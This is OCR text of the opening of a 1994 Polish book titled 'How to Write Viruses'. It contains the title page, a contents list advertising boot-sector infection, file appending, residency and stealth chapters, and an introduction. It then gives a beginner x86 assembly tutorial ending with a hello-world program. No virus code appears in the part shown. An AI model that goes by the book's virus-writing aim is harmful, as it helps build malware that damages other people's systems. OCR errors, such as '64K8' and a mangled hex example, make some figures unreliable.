JAK PISAĆ WIRUSY Andrzej DUDEK Pierwsze zuydanie: VCS Press Jelenia Góra Drugie zvydanie i Copyright O by Oficyna Wydawnicza READ ME Warszawa 1994 All rights reserved. Żadna częœć tej pracy nie może być powielana i rozpowszechniana, w jakiejkolwiek formie i w jakikolwiek sposób (elektroniczny, mechaniczny) włšcznie z fotokopiowaniem, nagrywaniem na taœmy lub przy użyciu innych systemów, bez pisemnej zgody wydawcy. Printed in Poland. Xţ Wszystkie nazwy występujšce w niniejszej publikacji sš znakami zastrzeżonymi odpowiednich firm; użycie tych znaków w tej ksišżce nie powinno być uważane za naruszenie praw ich wfaœcicieli. ' ISBN 83-85769-46-3 Projekty: Anna Jabłońska Druk: AZ-Druk Raszyn, ul. Lotnicza 5 tel: 56-06-55 Wydanie II poprawione Spis treœci czʜć ţ Wstęp . . . . . . .1 Stawianie domków z klocków LEGO . . . . . 2 Powtórka z podstawówki . . . Procesor . Przerwania Pierwszyprogram . . , , , , , 7 Stos . . . . . . 10 Operacjearytmetyczne . . . . 12 Przesunięcia, obroty i rozkazy logiczne . . . . . 14 Instrukcje sterujšce programem . . . . . 18 Przenoszenie instrukcji, porównywanie danych i skoki do innego segmentu . . . . . . 21 Przechwytywanieprzerwari . . . . . . . 23 czʜć ii Podróż do wnętrza systemu . . . . . . 31 Start systemu . . . . . 31 PamięćCMOS . . . . 32 Mapapamięci . . . . . 35 Organizacjadysku . . . . . . 37 Tablica partycji dysku twardego . . . . . 37 Blok ładujšcy. . . . . 38 Tablica FAT , , 3g Głównykatalog . . . . . . . 41 Pliki . . . . . . 42 AtrybutyPliku . . . . . 42 Budowa pliku typu COM . . . . 43 Budowa pliku typu EXE . . . . 43 Budowa pliku typu SYS - ładowalne programy obsługi urzšdzeri. . . . . . 44 Procesy . . . . . 47 czʜć ţţţ Czary - mary czyli nie taki diabeł straszny 49 Kopiowanie wirusa do tablicy partycji lub bloku ładujšcego . . . . . . . 49 Doklejanie się do pliku . . . . 51 Instalowanie się w systemie . . . 54 Przechwytywanie programu ładujšcego system operacyjny . . . . . . 58 Uruchamianie się na poczštku pracy programów . . . . 59 Maskowanie obecnoœci wirusa w systemie . . . . . . . 60 czʜć ţv Profilaktyka . . . . . 62 A ţţ ţ;s ; czʜć v W 80 œwiatów dookoła dnia . . . . . . 65 Listarozkazów . . . 65 Rozkazy 8087, 80287, 80387, 80486 . . . .101 Zmienne systemowe . . . . .112 Obszar danych karty EGA(VGA): . . . .117 ţ Definiowanie matrycy znaków . . . . .119 Mapa portów komputera PC/XT/AT . . . .120 ţ PortyDMA. . . . .124 ţ DMA w komputerach AT . . . .126 i Opis klawiatury AT . . . . . .127 ' Porty Dysku Twardego XT . . .129 Porty Dysku Twardego AT . . .129 PortyJoysticka . . .130 =;ţ PortyDrukarki . . .131 PortyCGA . . . .132 PortyEGA . . . .133 PortyVGA . . . .137 PortySzeregowe . . . .137 PortyFDC . . . .139 :ţ` Przerwania . . . .140 Przerwanie 21 H . . . .185 KodyBłędów . . .233 ZnakiASCll . . . . . .237 ţ r Ramki, linie, rysunki . . . . . . . 239 Kody znaków kontrolnych ASCII . . . 239 Rozszerzone Kody ASCII . . . . 240 Kody Polskich Liter . . . . . . . 242 Kody Klawiatury . . . 242 Klawiatura PCIXT . . 242 sr Klawiatura PCIAT 84 klawisze . . 243 Klawiatural0l-klawiszowa . . . .243 Kody kontrolne dla drukarek IBMIEpson i kompatybilnych . . 244 ;;;4 Lista wirusów złapanych do korica 1991 r. . . . 246 . " czʜć vţ Wirus VCSţ(AND) . . . . . .254 czʜć vţţ Literatura . . . 263 czʜć vţţi Szczepionka . . . .264 :ţ Skorowidz . . . . .271 1 1. Wstęp W poczštkach 1985 dwóch Włochów Roberto Cerrutti i Marco Marocutti wysłało do pisma "Scientific American" list informujšcy o swoich próbach napisania na komputerze Apple programu, który dołšczałby się do systemu operacyjnego i przy każdej próbie zapisu na dysk kopiowałby siebie samego w odpowiednie miejsce tego dysku. Cała sprawa bylawtaœciwie tylko w stadium planów ale i tak list odniósł skutek. Zainspirowani artykułem o "wojnach rdzeniowych" Włosi nie zdawali sobie zapewne sprawy ile zamieszania wywota on w komputerowym œwiatku. Uznaje się go bowiem za poczštek wirusów - jednego z najdziwniejszych, a już na pewno wywołujšcych najwięcej plotek, nieporozumieri i niejasnoœci, zjawisk we współczesnej informatyce. Wokól żadnego tematu zwišzanego z komputerami nie narosło tyle mitów co wokół wirusów. Œwieżym tego przykładem byta wrzawa wokól Michała Anioła, jednego z szeregu zwykłych wirusów, któremu przypisywano możliwoœci sparaliżowania wielu systemów informatycznych czy wręcz fizycznego niszczenia dysków twardych, monitorów, myszek itd. 0 takich rodzynkach jak doniesienia o człowieku, który zaraził się chorobš od swojego komputera, lepiej nie wspominać. Zresztš nawet wœród programistów i ludzi majšcych stały kontakt z komputerem doœć rozpowszechniony jest poglšd, iż pisanie wirusów to wyższy stopieri wtajemniczenia dostępny tylko dla wybranych. Na tym stanie œwiadomoœci żerujš firmy produkujšce szczepionki, umiejętnie podsycajšce panikę i zarabiajšce grube pienišdze. Wychodzšc z założenia, że najlepszš obronš jest atak, chciałbym w mojej ksišżce przedstawić większoœć praktycznych zagadnieri zwišzanych z tworzeniem wirusów. Chciałbym, abyœ poznajšc krok po kroku budowę typowego wirusa i prakty- czne problemy zwišzane z jego działaniem przekonał się, iż jest to taki sam program jak każdy inny oraz posiadłodpowiedni warsztat do jego zwalczania. Oczywiœcie będziesz także w stanie tworzyć swoje własne wirusy, ale mam nadzieję, iż po włożeniu pewnego wysiłku w poznanie tego wszystkiego nie będziesz miat już na to ani sily, ani ochoty. Wirusów na œwiecie jest już w tej chwili doœć bez tego Twojego, a jeœli koniecznie chcesz sprawdzić się jako programista to lepiej napisz program grajšcy w Go, albo tłumaczšcy z języka angielskiego na polski. Jeœli mimo tego wszystkiego jesteœ zdecydowany na dalsze brnięcie przez tę ksišżkę, to witaj na Pokładzie. Jedyne, czego będę od Ciebie wymagał, to doœć dobrej znajomoœci systemu operacyjnego MS-DOS i terminologii zwišzanej z komputerami, podstaw jakiegoœ języka programowania, najlepiej Paseala lub C oraz matematyki w zakresie podstawówki. Myœlę, iż nie sš to zbyt wygórowane żšdania. Po nazwach rozdziałów możesz nie mieć jeszcze wyrobionego zdania o ich zawartoœci. Powinienem więcjš przedstawić: Pierwszy to krótki kurs programowania w języku assemblera. Nie mam aspiracji przekazania Ci wszystkich wiadomoœci zwišzanych z assemblerem. Postaram się dokładnie przedstawić tylko te instrukcje, dyrektywy i symbole, które póŸniej będš wykorzystywane. Będzie to więc raczej uzupełnienie istniejšcych podręczników, zawierajšce wiadomoœci pod kštem praktycznego programowania, bez zbytniego wdawania się w teorię. Jeœli temat Cię zainteresuje i będziesz chciał go rozwijać to będziesz miał solidne podstawy do sięgnięcia po literaturę. Drugi to opis wnętrza komputera takjak widzi go programista. Sš w nim zawarte informacje o organizacji pamięci,strukturze programów, organizacji danych na dyskietkach i dyskach twardych, budowie plików itp. W trzecim poznasz zasady działania wirusów, ich częœci składowe, procedury powielajšce wirusy, metody maskowania się w pamięci operacyjnej i na dysku oraz efekty ich działania. Większoœć tematów będzie ilustrowna przykładami. Czwarty rozdział to zasady profilaktyki antywirusowej. Zasady te powinny być Ci już chyba znane, więc będzie to raczej ' przypomnienie niż odkrywanie nowych wiadomoœci. Częœć pišta zawiera wszelkiego rodzaju zestawienia, tabele, kody itp. Ma to być w połšczeniu z częœciš drugš pewna zamknięta całoœ‚ zawierajšca większoœć informacji potrzebnych Ci przy pracy z komputerem, tak abyœ nie musiał szukać ich po różnych ksišżkach. W częœci tej sš pozbierane wiadomoœci dotychczas porozrzucane po wielu publikacjach. Doœwiadczeni programiœci mogš jš traktować jako coœ w rodzaju małego leksykonu komputera klasy IBM i wykorzystywać niezależnie od pozostatych rozdziałów. W rozdziale szóstym znajduje się listing przykładowego wirusa. Częœć siódma i ósma to odpowiednio wykaz literatury i skorowidz. Pozostała jeszcze do wyjaœnienia kwestia dlaczego koncentruję się tylko na komputerze klasy IBM nie wspominajšc o wirusach na inne komputery. OdpowiedŸjest prosta. Sam posiadam taki komputer i mam dostęp do materiałów Ÿródtowych. Jeœli więc jesteœ użyţkownikiem Amigi, Atari ST,czy Apple'a i interesowałaby Cię podobna ksišżka poœwięcona Twojej 2 maszynie, to napisz do mnie przesyłajšc wszelkiego rodzaju informacje zwišzane z wirusami i organizacjš Twojego komputera, lub po prostu wyrażajšc chęć zakupu takiej pozycji. Pisz na adres: Wydawnictwo ţ VCS Press " 58-505 Je/enia Góra skr. poczt. 413 No to zaczynamy. 2. Stawianie domków z klocków LEGO Pewnie zdarzyło Ci się kilka razy oglšdać program napisany wjęzyku assemblera. Prawdopodobnie pierwszštwojš reakcjš była myœl, że jest to tak nieczytelne i skomplikowane, że nigdy w życiu nie będziesz potrafił się posługiwać tym językiem. Nie przejmuj się, chyba większoœć programistów odczuwała na poczštku takie same obawy. Na szczęœcie wszystko jest dla ludzi i assembler po przekroczeniu pierwszego progu okazuje się doœć wygodnym i w miarę prostym językiem programowa- nia. Nad innymi językami ma tš zaletę, że jest zdecydowanie szybszy, poza tym można w nim wykonywać w prosty sposób operacje, które w innych językach sš albo niedostępne albo bardzo skomplikowane. Jest on idealnym narzędziem do pisania krótkich, szybkich i zwięzłych programów systemowych takieh jak proste programy rezydentne, czy wirusy. W tym rozdziale chciałbym zapoznać Cię z podstawami programowania w assemblerze. Będš to tylko najprostsze instrukcje i dyrektywy. Zapoznanie się z nimi pozwoli Ci jednak na zrozumienie dalszej częœci ksišżki oraz da Ci dostateczny aparat do pisania prostych programów. We wszystkich przykładach korzystam tylko z instrukcji procesorów Intel 8088/86 więc mogš być one uruchamiane zarówno na komputerach łypu XT jak i na 486. Dodatkowe instrukcje dla procesorów Intel 80286, 80386, i486 i koprocesorów sš opisane w rozdziale pištym. Zarówno przy pisaniu przykładów w tym rozdziale, jak i przy procedurach z rozdziału trzeciego korzystałem z Turbo Assemblera firmy Borland. W przykładach nie korzystałem z żadnych dodatkowych możliwoœci tego systemu, więc równie dobrze możesz je uruchamiać korzystajšc z każdego innego assemblera, którym aktualnie dysponujesz. 3. Powtórka z podstawówki Na pewno obiło Ci się już kiedyœ o uszy pojęcie systemu dwójkowego (ewentualnie binarnec,,o). Jest ono w œcisły sposób zwišzane z architekturš komputerów. Dla przypomnienia system dwójkowy jest to taki system, w którym na poszczególnych pozycjach liczby mogš występować tylko dwie wartoœci 1 lub 0, albo inaczej mówišc sygnał lub brak sygnału. Dokładnie tak samo jest zbudowana pamięć komputera. Abstrahujšc od szczególów technicznych możesz jš sobie wyobrażać jako bardzo długi cišg pól, z których w każdym może być albo wartoœć 1 (sygnał) albo 0 (brak sygnału). Jedno takie pole nazywamy bitem. Abyje jakoœ uporzšdkować wprowadzono różne jednostki podziału. Najbardziej znanšjest bajt. Jest on równy oœmiu bitom. Najczęœciej pamięć traktuje się jako ponumerowany cišg bajtów. Wjednym bajcie można zapisać liczby od 0 do 255. Masz prawo nie uwierzyć mi na słowo, więc w ramach ćwiczeri możemy to wspólnie przeliczyć. Pewnie pamiętasz zasady przeliczania z systemu dwójkowego na dziesŒętny. Jeœli nie to możemy je sobie szybko przypomnieć: Aby przeliczyć liczbę dwójkowš na dziesiętnš należy dodać do siebie wartoœci na odpowiednich pozycjach pomnożone przez potęgi dwójki odpowiadajšce pozycji. 5 Na przykład: 3 11010101(2)= 1*2ţ+1*26+0*25+1"24+0*2ţ+1*22+0*2ţ+1*2o = =1*128+1'64+0*32+1'16+0*8+1*4+0*2+1*1=213(10) 10010010(2)= 1*2ţ+0'26+0'25+1*24+0*23+0'22+1*2ţ+0*2o = =1*128+0*64+0*32+1'16+0"8+0'4+1*2+0'1=146(10) Najmniejszš liczbš, którš można zapisać na oœmiu bitach jest 00000000(2)=0*2ţ+0*26+0*25+0'24+0*23+0"22+0*21+0*2o = =0*128+0*64+0"32+0*16+0*8+0"4+0'2+0*1=0(10) Zaœ największš 11111111(2)=1*2ţ+1'26+1*25+1'24+1*23+1*22+1*2ţ+1'2a = =1'128+1"64+1"32+1'16+1*8+1'4+1"2+1'1=255(10) Skoro sprawdziliœmy, że w bajcie da się rzeczywiscie zapisać liczby z przedziału 0 - 255, zastanówmy się jeszcze jakie wartoœci można zapisywać na 16 bitach. Nieprzypadkowo wybrałem takš liczbę bajtów. Otóż procesory rodziny Intel 8086, które znajdujš się w IBM-ach, sš procesorami 16 bitowymi i z tym zwišzane sš doœć istotne ograniczenia (patrz następny paragraf). Analogicznie jak poprzednio obliczamy, że sš to liczby z przedziału 0-1111111111111111 (2) czyli 0 - 65535(10) (SprawdŸ jak nie wierzysz). Ta wartoœć jest doœć ważna i będzie jeszcze kilkakrotnie używana. Zostaty jeszcze dwie sprawy. Pierwsza to jednostki, w których podaje się rozmiar pamięci. Oprócz 1 bajta sš jeszcze przynajmniej trzy jednostki: 1 KB (kilobajt) =1024 bajty 1 MB (megabajt) =1024 KB =1048576 bajtów 1 GB (gigabajt) =1024 MB =1048576 KB =1073741824 bajty Ostatnie zagadnienie w tym paragrafie to system szestnastkowy (hexadecymalny). To właœnie w nim, a nie w systemie binarnym podaje się najczęœciej adresy w pamieci, czy wartoœci zmiennych. Jest to zwišzane z bardzo prostš metodš zamiany jednego systemu na drugi oraz z tym, że zapis liczby w systemie szestnastkowym jest zdecydowanie krótszy niż w dwójkowym. Aby zamienić liczbę binarnš na hexadecymalnš wystarczy podzielić jš na grupy po cztery cyfry zaczynajac od prawej strony, następnie każdš z tych grup zmienić według zasad 0000 (2)= 0(10)= 0(16) 0001 (2) = 1 (10)=1 (16) 0010(2) = 2(10)= 2(16) 0011 (2) = 3(10)= 3(16) 0100(2) = 4(10)= 4(16) 01 O1 (2) = 5(10)= 5(16) 0110(2) = 6(10)= 6(16) 0111 (2) = 7(10)= 7(16) ; 1000(2) = 8(10)= 8(16) ; 1001(2) = 9(10)= 9(16) 1010(2) =10(10)= A(16) 1011 (2) =11 (10)= B(16) 1100(2) =12(10)= C(16) 1101(2) =13(10)= D(16) 1110(2) =14(10)= E(16) 1111 (2) =15(10)= F(16) Symbole A-F sš to cyfry szestnastkowe odpowiadajšce liczbom 10(10) -15(10). Przykładowo: 1010100101011101 O1101010010(2) =101 O10010101110101101010010(2) = S4AE852(16) 10101101101011101001001110101(2)=10101101101011101001001110101(2)=1585D275(16) 4 Sam widzisz, że liczby po prawych stronach równoœci sš o wiele bardziej zwięzłe i czytelne. Dlatego łatwiej się nimi posługiwać. Z liczbami szestnastkowymi jest zwišzana pewna konwencja zapisu. Otóż dla ich zaznaczenia na kor5cu liczby dadaje się literę H, a jeœli liczba zaczyna się od którejœ z cyfr A-F, to na poczštku liczby dopisuje się zero. I tak: 255(10) zapisujemy jako OFFH 124(10) zapisujemy jako 7CH 5555(10) zapisujemy jako 1 SB3H 24578(10) zapisujemy jako 6002H 4. Procesor Sercem każdego komputera jest procesor. To on pobiera z pamięci i wykonuje rozkazy sterujšce pracš komputera. W zależnoœci od tego na ilu bitach operuje procesor, z takim typem mamy do czynienia. I tak komputery typu Spectrum, czy _ Commodore były posiadały procesory 8-bitowe. Natomiast IBM Apple czy Atari STto komputery 16-bitowe. Komputery typu XT posiadajš procesor Intel 8088I86. AT-eki majš procesor 80286, a komputery klasy 386 i 486, jak sama nazwa wskazuje procesory 80386 i 80486. Te dwa ostatnie procesory sš w zasadzie 32-bitowe, ale mogš pracować w trybie 16-bitowym. Wszystkie procesory rodziny 8086 sš kompatybilne w górę, tzn. każdy z nich potrali robić to co jego poprzednik plus ţ ţ :;*"! dodatkowe czynnoœci. Dzięki temu zachowana jest przenoœnoœć oprogramowania i każdy program, który chodzif na XT będzie również działał na najnowszym PS/2. Żeby jeszcze zrobić Ci trochę zamieszania w głowie wspomnę o podziale ţ procesora 80386 na dwa typy. Pierwszy z nich jest oznaczony SX, drugi DX. Z punktu widzenia programisty nie ma to żadnej różnicy, natomiast jest różnica w szybkoœci dzialania, a co za tym idzie i w cenie. Po prostu pierwszy z nich ma 16-bitowš . " szynę do przesyfania danych z i do pamięci, natomiast drugi 32-bitowš i dlatego pewne operacje może wykonywać szybciej. " Praca procesora polega na pobieraniu z pamięci rozkazów wraz z danymi i wykonywaniu ich. Między danymi a rozkazami nie ma w pamięci różnicy i ta sama liczba może być traktowana razjako kod instrukcji, a drugi raz jako wartoœć przekazywana do instrukcji. Oprócz operowania na pamięci procesor steruje pracš urzšdzeri zewnętrznych. Urzšdzeniami zewnętrznymi sš na przykład klawiatura, czy karta graficzna. Do wspófpracy z nimi służš porty wejœcialwyjœcia. Sterowanie urzšdzeniem : polega na przesłaniu odpowiedniej wartoœci do portu i ewentualnie odczylaniu danych z portu. W celu szybszego operowania danymi każdy procesor jest wyposażony w kilka rejestrów, czyli bajtów szybkiej wewnętrznej pamięci. Wykonanie jakiejœ : operacji na komórce pamięci odbywa się najczęœciej poprzez przesłanie wartoœci komórki do rejestru, wykonanie operacji na rejestrze i odesłanie wyniku do pamięci. Procesor Intel 8086 (i inne z tej rodziny) posiada 14 rejestrów 16-bitowych. Osiem pierwszych z nich to tzn. rejestry ogólnego przeznaczenia. Pierwsze cztery możnatraktować zarównojako rejestry 16-bitowe,jak i złożenie dwóch rejestrów 8-bitowych. Noszš one nazwy: AX (ang Accumulator) Wykorzystywany gtównie do operacji arytmetycznych i logicznych. Można go traktować jako złożenie 8-bitowych rejestrów AH i AL. Pnyk- ładowo jeżeli w rejestrze AH jest wartoœć 56H, a w rejestrze AL 4BH,to w eałym rejestrze AX jest wartoœć 5648H. BX (ang Base Register) Rejestr bazowy, głównie wykorzystywany przy adresowaniu pamięci. Dzieli się na BH i BL CX (ang Counter Register) W wielu instrukcjach wykorzystywany jako licznik. Dzieli się na CH i CL. DX (ang Data Register) Rejestr danych, wykorzystywany przy operacjach mnożenia i dzielenia, a także do wysyłania i odbierania danych z portów. Dzieli się na DH i DL. 5 Następne cztery rejestry ogólnego przeznaczenia to: Ć SI (ang Source Index) Rejestr indeksujšcy pamięć oraz wskazujšcy obszar z którego przesyla się dane. ţ DI (ang Destination Index) Rejestr indeksujšcy pamięć oraz wskazujšcy obszar, do którego prze- syłamy dane. SP (ang Stack Pointer) WskaŸnik stosu. ‡ BP (ang Base Pointer) Rejestr używany do adresowania pamięci. 6 Kolejny rejestr nie jest bezpoœrednio osišgalny przez programistę. Jest to IP (ang Instruction Pointer). Zawiera on adres ţ (numer w pamięci) aktualnie wykonywanej instrukeji i może być modyfikowany tylko poprzez rozkazy sterujšce pracš ţ programu. ţ Jeœli uważnie czytałeœ ten rozdz;ał i wiesz co nieco o swoim komputerze, to w tym momencie powinny Ci się pojawić pewne ; niejasnoœci. Jeżeli rejestr 16 bitowy zawiera adres pamięci, to maksymalny adres nie może być wyższy niż 65535, czyli ţ pamięć może liczyć 64K8. A przecież dobrze wiesz, że w Twojej maszynie jest na pewno dużo więcej pamięci. Jak to się ţ dzieje ? ţ Otóż rzeczywiœcie jeden rejestr 16-bitowy może adresować 64K8 pamięci. Dlatego cała pamięć IBM jest podzielona na ! segmenty majšce rozmiar 64K8. Ten podział nie jest rozłšczny, to znaczy jedna komórka pamięci może leżeć wewnštrz ţ kilkudziesięciu, a nawet kilkuset różnych segmentów. Segmenty zaczynajš się od adresów podzielnych przez 16 i różnica [ między poczštkami dwóch kolejnych segmentów wynosi 16 bajtów. Dla podania peinego adresu komórki pamięci należy ; podaćjego segment i offset (adres w stosunku do poczštku segmentu). Przykładowe adresy to 0000:1285, A000:0000. Przy zapisie adresów stosuje się zapis hexadecymalny, w tym wypadku wyjštkowo bez literki H. W zwišzku z tym, że segmenty ! nie sš rozłšczne, jedna komórka może być adresowana na wiele różnych sposobów np zapisy 0000:7C00, 0700:0C000 ! i 07C0:0000 oznaczajš tę samš komórkę. Na podstawie zapisu Segment:Offset można odtworzyć adres fizyczny korzystajšc ze wzoru adre s =16 * s egmen t + o f f s e t . Ponieważ adresy sš zapisywane szestnastkowo korzystanie z tego wzoru ; jest bardzo proste. Wystarczy dopisać do numeru segmentu 0 i dodać go do offsetu. Przykładowo: 7400:1234 = 74000 - segment +1234 - offset 75234 - adres fizyczny 7B4C:88B2 = 7C4B0 - segment +88B2 - offset 84D62 - adres fizyczny Jak widać z tych przykładów adresy fizyczne sš dwudziestobitowe (5 cyfr szestnastkowych - 20 dwójkowych). Oznacza to, że maksymalny adres, który da się osišgnšć w tym trybie adresowania to 11111111111111111111 (2) czyli 220-1. I rzeczywiœcie lylko pamięć do 1 MB może być wykorzystywana w standardowych trybach pracy procesorów rodziny Intel 8086. Mówimy o tym fakcie, że przestrzeri adresowa procesora 8086 wynosi 1 MB. Podczas wykonywania operacji korzystajšcych z pamięci rejestry ogólnego przeznaczenia zawierajš tylko offsety adresów wykorzystywanych przy operacji. Segmenty tych adresów znajdujš się w rejestrach segmentowych. Sš to następujšce rejestry: CS (ang Code Segment) Rejestr zawierajšcy segment aktualnie wykonywanego rozkazu. DS (ang Data Segment) Rejestr zawierajšcy segment z danymi. ES (ang Extra Segment) Rejestr zawierajšcy segment na przykład przy operacjach przesyłania łaricuchów. SS (ang Stack Segment) Rejestr zawierajšcy segment stosu. Rejestry te sš używane niejawnie w zależnoœci od kontekstu, to znaczy jeœli procesor wykonuje rozkaz skoku do komórki o adresie 0, to tak naprawdę wykona skok do komórki CS:0 , natomiast jeœli czyta dane z komórki o adresie 0, to w rzeczywistoœci czyta dane z komórki DS:0. W niektórych przypadkach adresy sš podawane jawnie od razu w postaci segment : o f fs et , jest tak jednak wtedy, gdy wymaga tego dana operacja. 6 Ostatnim rejeslrem, do którego również nie można odwoływać się w sposob bezpoœredni jest rejestr znaczników. Jest to właœciwie 9 pojedynczych bitów informujšcych o stanie procesora. Częœć z nich można ustawiać, częœć tylko odczylywać. = Instrukcje sterujšce programem mogš się różnie zachowywać w zależnoœci od stanu poszczególnych znaczników. Polożenie ; i znaczenie znaczników jest nastepujšce: Rejestr znaczników 0 D I T S Z A P C 0 (ang Overflow flag) Znacznik nadmiaru, ustawiany przy wystšpieniu nadmiaru w operac- jach arytmetycznych. D (ang Direction Flag) Znacznik kierunku, okreœla czy dane będš przesyłane w kolejnoœci adresów rosnšcych, czy malejšcych. I (ang Interrupt Flag) Znacznikzezwolenianaprzerwanie,okreœla,czyprzerwaniesprzętowe ma być wykonane natychmiast po zgłoszeniu , czy dopiero po skoricze- niu wykonywanego programu. T (ang Trap Flag) Znacznik pracy krokowej. Okreœla, czy po każdej wykonanej instrukcji - ' procesora wywolywane jest przerwanie pracy krokowej. S (ang Sign Flag) Znacznik znaku. Zawiera znak wyniku ostatnio wykonywanej operacji arytmetycznej. Z (ang Zero Flag) Znacznik zera. Ustawiany jeœli wynikiem ostatniej operacji arytmetycz- nej było zero. A (ang Auxiliary Carry Flag) Znacznik przeniesienia połówkowego. P (ang Parity Flag) Znacznik parzystoœci. C (ang Carry Flag) Znacznik przeniesienia. W niektórych publikacjach do nazw znaczników dodaje się jeszcze literę F (ang Flag - znacznik). Tak więc znacznik C może być oznaczany jako CF, Z - ZF itd. W ten sposób zapoznaleœ się z wszystkimi rejestrami procesora 8086. Procesory 80286,386,486 posiadajš dodatkowe rejestry, jednak nie będę w dalszej częœci korzystał z instrukcji, które je wykorzystujš. 5. Przerwania , r : Przed chwilš napisałem, że procesor wykonuje instrukcje pobierajšc je kolejno z pamięci. Nie zawsze jest to prawda. Czasami zachodzi sytuacja, gdy jakieœ urzšdzenie zewnęlrzne zgłasza fakt zaistnienia syluacji krytycznej (np. klawiatura, gdy naciœnięto klawisze [Ctrl+Break] czy pamięć, gdy występuje błšd parzystoœci). W takim wypadku przerywane jest wykonywanie aktualnego programu, zapamiętywana wartoœć rejestru znaczników. Następnie sš wykonywane instrukcje obsługujšce to urzšdzenie i przywracana jest wartoœć rejestru znaczników. Taka sytuacja nosi nazwę przerwania sprzęto- wego. Ponieważ kilka różnych urzšdzeri może zgłosić równoczeœnie przerwanie sprzętowe, każdemu z nich jest przyporzšd- kowany pewien poziom ( priorytet ), okreœlajšcy, w której kolejnoœci ma być wykonywane. Im przerwanie ma mniejszy poziom tym wczeœniej jest wykonywane. Jeœli znacznik I procesora jest wyzerowany, to przerwania sprzętowe nie sš przyjmowane. ţ W zasadzie przerwania sprzętowe można wywoływać wewnšlrz programu, jednak nie ma to specjalnego sensu. Lepszym ţ zastosowaniem jest pisanie własnych procedur obsługi. Umożliwiajš one kontrolę reakcji komputera w sytuacjach specjal- nych. Na przykład własna procedura obsługi przerwania klawiatury pozwala na wprowadzanie polskich znaków, a obsługa przerwania zegarowego może wywoływać co jakiœ czas własne procedury (Na przykład, o petnych godzinach, przez sekundę wzbudzany jest głoœnik) Innego rodzaju przerwania to przerwania programowe Sš one wywolywane tylko z wnętrza programu. Przerwania te stanowiš istnš skarbnicę uzytecznych procedur i funkcli. Właœciwie całe programowanie w assemblerze to umiejętne korzystanie z gotowych podprogramów zawartych w przerwaniach. I tak, o ile w BA S I Cu wypisanie na ekranie monitora cišgu znaków wykonuje instrukcja Print, w Pascalu - Write, w C - Scanf, to w assemblerze do tej czynnoœci wywolywane jest przerwanie 21 H, z wartoœciš 09H przekazanš w rejestrze AH. Inny sposób wyœwietlenia łaricucha jest praktycznie niedo- stępny. Wymaga on korzystania z portów karty graficznej i tylko bardzo doœwiadczeni programiœci mogš z niego korzystać. Lepiej więc na poczštku korzystać z gotowych procedur zawartych w przerwaniach programowych. Również i przerwania programowe można przechwytywać (Pisać własne procedury ich obsługi). Np. przechwycenie przerwania podajšcego rozmiar pamięci operacyjnej pozwala nam na ukrycie częœci pamięci przed systemem operacyjnym. r ů 6. Pierwszy program Po tym wstępie możemy już zaczšć pisać proste programy. Ponieważ wiekszoœć assemblerów nie posiada własnych edytorów, pliki z programami trzeba przygotowywać w innych edylorach. Ja do tego celu wykorzystuję edytor znajdujšcy się w pakiecie Norton Commander. Schemat pisania i uruchamiania programu w assemblerze jest następujšcy: Załóżmy, że chcemy napisać program o nazwie Przyklad. ů Tworzymy przy pomocy edytora zewnętrznego zbiór Przykfad.asm zawierajšcy treœć programu. ů Kompilujemy program poleceniem Tasm Przyklad.asm. 0 ile nie wystšpiš blędy kompilacji, to w jej wyniku otrzy- mujemy program Przyklad.obj. ţ Konsolidujemy program poleceniem Tlink Przyklad.obj. 0 ile nie nastšpiš blędy konsolidacji, to wjej wyniku otrzymujemy program Przyklad.exe. ů Wykonujemy program przez podanie jego nazwy Przykfad.exe. Możemy również uruchamiać program pod kon- trolš debuggera poleceniem Td Przyklad.exe. _ Szczegóiy zwiazane z kompilacjš, konsolidacjš i uruchamianiem debuggera zawarte sš w dokumentacji Turbo Assemblera i Turbo Debuggera ([4), [5j). Tradycyjnie pierwszy program w podręcznikach programowania to wyœwietlenie jakiegoœ komunikatu. W assemblerze będzie to wygladać mniej więcej tak: .MODEL tiny .STACK l00h .DATA Komunikat db 'Dzien dobry',13,10,'$' .CODE mov ax,seg komunikat mov ds , ax mov ah , 9 mov dx, offset komunikat int 21H mov ah,4CH int 21H END Pierwsza linijka programu zawiera dyrektywę .MODEL (Dyrektywa to takie polecenie, które nie jest instrukcjš wykonywanš przez procesor, ale stanowi wskazówkę dla kompilatora lub konsolidatora). Dyrektywa ta okreœla, na jakim modelu pamięci wykonywanyjest program. Okreœlanie modelu pamięci jest zwišzane zjej podziałem. Otóż operacje, które wykonywane sš w tym samym segmencie nazywamy bliskimi, a operacje, które odbywajš się w różnych segmentach (np. skok do innego segmentu czy odczyt danych z innego segmentu ) dalekimi. W zwišzku z tym możliwe sš następujšce modele pamięci: Tiny (drobny) Kod programu i dane muszš się zmieœcić w jednym segmencie 64K8. Zarówno kod jak i dane sš bliskie. Small (mały) Program musi się zmieœcić w segmencie i dane muszš się zmieœcić w innym segmencie. Zarówno kod jak i dane sš bliskie. Medium (œredni) Program może nie zmieœcić się w jednym segmencie, natomiast dane muszš się zmieœcić w segmencie. Kod jest daleki, dane bliskie. e I 9 Compact (gęsty) Program musi zmieœcić się w pojedynczym segmencie, natomiast dane mogš być w kilku segmentach. Pojedyncza dana nie może przekraczać 64K8. Kod jest bliski, dane dalekie. Large (duży) Zarówno program jak i dane mogš być większe niż 64K8, ale pojedyn- ţ cza dana nie może byE większa niż 64K8. I kod i dane sš dalekie. Huge(olbnymi) Program, dane oraz pojedyncza dana mogš przekraczać ‹ 64K8. Kod i dane sš dalekie. WskaŸniki do elementów tablic t sš również dalekie. Ponieważ przykłady w niniejszej ksišżce będš zajmowały maksymalnie kilka KB, więc będš one zawsze wykonywane na modelu Tiny. Następna dyrektywa to .STACK. Okreœla ona rozmiar pamięci, przydzielonej poczatkowo na stos. Opis stosu i operacji na nim wykonywanych znajduje się w następnym paragrafie. Dyrektywa .DATA rozpa;zyna częœć danych programu. Deklaraqa danej ma postać Nazwa Zţ>p Wartosc . W ksišżce będę wykorzystywał następujšce typy danych: DB - zmienna składajšca się z jednego/wielu bajtów DW - zmienna składajšca się z jednego/wielu słów (16 bajtów) DD - zmienna składajšca się z jednegolwielu słów podwójnych (32 bajty) Przykładowe deklaracje zmiennyeh: Bajtl DB 25H Baţt2 DB 'A Napis DB 'Ala ma Asa' Lancuch DB 'ALA ma Asa',13,10,'$' Slowo DW 25C4H Ciagţ Slow DW 25C4H,7624H,5436H,l CDSH ! Slowoţpodwojne DD 12346785H 'ţ`t , Nieznana DD (?) ;wartosc zmiennej nie ;jest znana przy deklaracji " Nieznanyţciag DB l00 H DUP (?);zmienna sklada sie z ;100H nieznanych bajtów l Adres DD Far Ptr (?) ;zmienna zawiera adres ;dalekiej instrukcji Te ostatnie napisy z lewej strony po œredniku to komentarz czyli tekst nie 